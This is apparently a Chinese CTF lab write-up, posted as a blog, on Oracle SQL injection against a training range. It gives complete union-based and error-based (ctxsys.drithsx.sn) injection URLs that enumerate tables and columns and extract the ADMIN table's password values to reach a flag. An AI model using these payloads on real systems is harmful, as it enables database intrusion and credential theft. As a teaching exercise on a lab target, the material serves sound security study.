oracle——显错注入和报错注入

http://59.63.200.79:8808/index_x.php
这个网址提供了,Oracle的数据库接口,我们就可以直接用这个,而不用自己搭建了。

dual这个是一个虚表,是不存在的,是为了专门满足格式而存在的一个表。
因为你Oracle不像mysql一样,后面不加表也行,他是必须加个表名满足格式,但是为了方便就提供了dual这个表。

在这里插入图片描述

Oracle弱化了库的概念,强化了用户的概念。就是说把库换成了用户来查询数据。

在这里插入图片描述

在这里插入图片描述

oracle里面有多个条数据,他就排序多少个rownum,有点像mysql里的id

在这里插入图片描述

开始注入

and 1=1回显正常

http://59.63.200.79:8808/index.php?id=1%20and%201=1

and 1=2 回显错误,说明存在sql注入

http://59.63.200.79:8808/index.php?id=1%20and%201=2

在这里插入图片描述

判断字段数

order by 4回显正常

http://59.63.200.79:8808/index.php?id=1%20order%20by%204

order by 5回显错误

http://59.63.200.79:8808/index.php?id=1%20order%20by%205

在这里插入图片描述

这里用的null来用作占位符。

union select null,null,null,null from dual

在这里插入图片描述
我们进入靶场后台,看看Oracle数据库
在这里插入图片描述
在这里插入图片描述

我们输入后并没有得到我们想要的结果,那是因为前面的id=1是存在的,并输出了,然后把后面的掩盖了

union all select 1,null,to_nchar('a'),null from dual

在这里插入图片描述

我们把1换成不存在的一个数,这里我换成了22222。。。因为222不存在,所以就输出我们的语句。

http://59.63.200.79:8808/index.php?id=222222222222222222%20union%20all%20select%201,null,to_nchar(%27a%27),null%20from%20dual
在这里插入图片描述
查询表名
http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables
在这里插入图片描述

第二个表,后面的筛选条件是除了NEWS这个表

http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables%20where%20TABLE_NAME%3C%3E%27NEWS%27
在这里插入图片描述

第二个表,后面的筛选条件是除了NEWS和ADMIN这个表

http://59.63.200.79:8808/index.php?id=2222222222222222%20union%20all%20select%201,null,to_nchar(TABLE_NAME),null%20from%20user_tables%20where%20TABLE_NAME%3C%3E%27NEWS%27%20and%20TABLE_NAME%3C%3E%27ADMIN%27
在这里插入图片描述
这里有多少条数据,她就会自动排序多少个数字。(升序来序)
在这里插入图片描述
在这里插入图片描述
相当于取上面个表的第一条数据。

select username from (select rownum r,username from all_users) where r=1

这里的r只是一个别名,就像你小时候的别名一样。

查询字段。

我们只要改变r的值,那么就可以改变字段。这里我查的是第一条,所以是r=1,然后第一个字段为ID
http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(column_name),null%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns)%20where%20r=1
在这里插入图片描述

当r=3的时候,我们可以得出UPASS,很显然是密码栏。

http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(column_name),null%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns)%20where%20r=3
在这里插入图片描述

获取admin表为UPASS字段的第一个字段值。

http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(UPASS),null%20from%20(select%20rownum%20r,UPASS%20from%20admin)%20where%20r=1
在这里插入图片描述

同样,想看第三个值的话,就变换r的值就好了

http://59.63.200.79:8808/index.php?id=222222222222222%20union%20all%20select%201,null,to_nchar(UPASS),null%20from%20(select%20rownum%20r,UPASS%20from%20admin)%20where%20r=3

flag成功拿到!!!!!

在这里插入图片描述

方法二

方法二

方法二

方法二

方法二

方法二

方法二

方法二

好的,测试结束,之前我们是知道数据类型,我们才用对应的去转换。但是在实际的渗透中,是不可能明确知道数据类型的。

就2种方法,要么我们用显错注入去尝试数据类型,但是这种比较费时,而且还必须有回显点才行。
要么我们用报错注入来渗透,这种方法的好处是,就算没有回显点,也不知道数据类型,我们也可以渗透。
27

补充一点:代码不区分大小写,数据才区分大小写。

那么我们现在的核心就是报错注入。

首先熟悉一下Oracle数据库的查询方式:
选择表:table_name='tablename'
当前正在使用的Oracle数据库:user_tables(只包含表)
当前正在使用的Oracle数据库和库里所有表的表字段:user_tab_columns(只包含表和表字段。)
查询所有表:Selectfrom all_tables
查询出当前用户的表:select from user_tables
查询出所有字段:selectfrom all_tab_columns
查询出当前用户的字段:selectfrom user_tab_columns
查询数据库版本:select*from V$version
联合查询注入语句:union all select null,null,null from dual
若无法联合查询注入,采用报错函数ctxsys.drithsx.sn(user,(语句))
报错注入无法输出太多,在mysql中使用limit m,n限制,在Oracle中使用rownum=1 and条件 and条件 来限定
上靶场:http://59.63.200.79:8808
首先检测是否可注入以及闭合条件:
CTXSYS.DRITHSX.SN(user,(date)) 相当于是搜索函数。里面填写用户和数据,查询失败,爆出致命错误,但是里面填写的数据成功执行,并跟着这个致命报错一起显示出来。

在这里插入图片描述

先看下实例

ADMIN表下的字段
在这里插入图片描述
查看字段属于哪个表。
在这里插入图片描述

查表

利用这个报错,成功把我们要查询的内容给报出来了。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1))
在这里插入图片描述

第二个表,这里用了table_name<>‘NEWS’,就是排除这个表。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1%20and%20table_name%3C%3E%27NEWS%27))
在这里插入图片描述

查字段

上面查表的时候我们使用的user_tables表示当前数据库的所有表。
但是我们这里要查字段,就不能用user_tables了,应该用user_tab_columns表示当前数据库的所有表和所有表里的字段。(其实上面查表的时候也可以用这个user_tab_columns
http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27))
在这里插入图片描述

查第二个字段这里用了column_name<>‘ID’,就是排除这个字段。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27%20and%20column_name%3C%3E%27ID%27))
在这里插入图片描述

查第3个字段这里用了column_name<>‘ID’,column_name<>‘UNAME’,就是排除这2个字段。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20and%20table_name=%27ADMIN%27%20and%20column_name%3C%3E%27ID%27%20and%20column_name%3C%3E%27UNAME%27))
在这里插入图片描述

我们查出来一个字段为UPASS,很明显,这个就是密码字段。那么我们就来查她的字段值。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20UPASS%20from%20ADMIN%20WHERE%20ROWNUM=1))
在这里插入图片描述

查字段第二种方法,自己构造一个新表。

http://59.63.200.79:8808/index.php?id=2222222222222%20and%201=ctxsys.drithsx.sn(1,(select%20UPASS%20from%20(select%20rownum%20r,UPASS%20from%20ADMIN)%20%20WHERE%20r=3))
在这里插入图片描述
关于 rownum r上面有介绍。
在这里插入图片描述
最后得到flag :2a61f8bcfe7535eadcfa69eb4406ceb9

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值